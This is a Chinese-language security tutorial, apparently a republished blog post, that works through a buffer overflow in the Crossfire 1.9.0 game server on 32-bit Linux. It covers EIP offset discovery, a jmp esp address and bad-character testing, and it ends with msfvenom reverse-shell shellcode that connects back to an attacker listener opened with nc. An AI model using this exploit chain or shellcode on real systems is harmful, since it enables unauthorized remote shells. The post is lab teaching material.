crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

admin 2025年2月12日23:02:53评论10 views字数 3164阅读10分32秒阅读模式

本篇文章旨在为缓冲区溢出软件漏洞学习。通过阅读本文,读者将能够对linux32位缓冲区溢漏洞有一定的了解

一、前言

1、申明

来自本公众号的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他用途!!!

2、测试环境准备-系统

系统:Linux32位系统镜像

3、软件服务:穿越火线历史版本 crossfire 1.9.0

#软件下载地址
https://sourceforge.net/projects/crossfire/postdownload
tar -zxvf crossfire.tar.gz  #解压压缩包

cp -r crossfire /usr/games/ # 拷贝文件到系统目录
cd /usr/games/crossfire/bin # 进入游戏包的bin文件夹
./crossfire  # 运行游戏程序
ss -pantulo|grep crossfire   #检查游戏服务端口是否监听
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

4、调试工具:EDB

sudo apt update  # 更新软件库
edb  # 输入edb,系统会自动下载

5、检查系统防护机制(避免反弹shell失败)

apt install checksec #下载脚本工具 
checksec --file=/usr/games/crossfire/bin/crossfire # 检查程序

# 内核启动参数禁用NX
vim /etc/default/grub
GRUB_CMDLINE_LINUX="... noexec=off"
update-grub
reboot  
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

二、导入程序,验证漏洞

1、启动穿越火线程序

cd /usr/games/crossfire/bin
./crossfire
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

2、edb导入穿越火线程序进程

导入程序进程 打开edb,点击左上角file中的attack,导入crossfire进程

crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

3、使用python exp01发送脏字符验证漏洞

python2 exp/exp01.py
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

三、计算EIP寄存器偏移量

一般这种情况,我们需要用到2分法来精准的测试出偏移量,也就是通过区间划分:例如我们的0-5000脏字符为例

crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
python2 exp02.py
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

四、定位EIP寄存器偏移量位置

通过第三步,我们成功让EIP寄存器的地址被覆盖为41414141,但是在edb中显示不明显,都是414141比较难定位到,我们可以使用msf的一个模块生成不重复的4379个字符,目的是通过特定标识确定EIP的地址。

1、msf生成不重复的4379个字符

msf-pattern_create -l 4379
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

2、把新生成的不重复字符复制到exp脚本

crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

3、执行exp03,查看结果

python2 exp03.py
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

4、使用msf推算偏移量

msf-pattern_offset -q 46367046
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

五、确定EIP地址

1、更精准的脏字符数据注入

我们通过第四步,测试出偏移量为:4368,那需要找EIP寄存器的精确地址,我们使用脚本4发送一段总字符数为4379数据:4368个A,4个B,7个C   这样除了A以外的脏字符就很容易找到了

python2 exp04.py
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

2、问题:esp不够空间构造payload

crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

3、解决思路

我们利用ESP寄存器的7个字符的空间来进行操作,既然EAX寄存器的setup sound有可能影响playload执行,那我们选择在setup sound的前面进行。

(1)ESP寄存器中注入汇编指令:add eax,12 jmp eax。

python2 exp05.py
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
# 将汇编指令转化为十六进制
msf-nasm_shell
add eax,12
# add eax,12为83C00C,jmp eax为FFE0。
# 将指令写入脚本5中,替代原来C的位置
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

(2)找到能够存在jmp esp指令的程序中指令存在的位置。 先进入opcodesearcher模块

crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位将脚本5的B的位置,即EIP位置替换成我们选中的08134596,要进行倒着写:eip = "x96x45x13x08"

crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

六、测试坏字符

1、什么是坏字符

crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

2、注入坏字符

crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
# 所有16进制字符
"x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10"
"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20"
"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30"
"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40"
"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50"
"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60"
"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70"
"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80"
"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90"
"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0"
"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0"
"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0"
"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0"
"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0"
"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0"
"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff"

七、反弹shell

1、攻击机监听4444端口

nc -lvvp 4444 

2、msf生成实现反弹shell的代码

msfvenom -p linux/x86/shell_reverse_tcp LHOSt=192.168.220.128 LPORT=4444 -f c -b "x00x20" -f py

shellcode =  b""
shellcode += b"xbaxc4x25x4cxdfxd9xc5xd9x74x24xf4x5b"
shellcode += b"x29xc9xb1x12x83xc3x04x31x53x0ex03x97"
shellcode += b"x2bxaex2ax26xefxd9x36x1bx4cx75xd3x99"
shellcode += b"xdbx98x93xfbx16xdax47x5ax19xe4xaaxdc"
shellcode += b"x10x62xccxb4x62x3cxf2xc4x0bx3fx0bxd5"
shellcode += b"x97xb6xeax65x41x99xbdxd6x3dx1axb7x39"
shellcode += b"x8cx9dx95xd1x61xb1x6ax49x16xe2xa3xeb"
shellcode += b"x8fx75x58xb9x1cx0fx7ex8dxa8xc2x01"
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

3、执行exp07

python2 exp07.py
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位
crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

原文始发于微信公众号(泷羽SEC-ohh):crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月12日23:02:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   crossfire1.9.0版本缓冲区溢出攻击到提权:linux32位https://cn-sec.com/archives/3729278.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息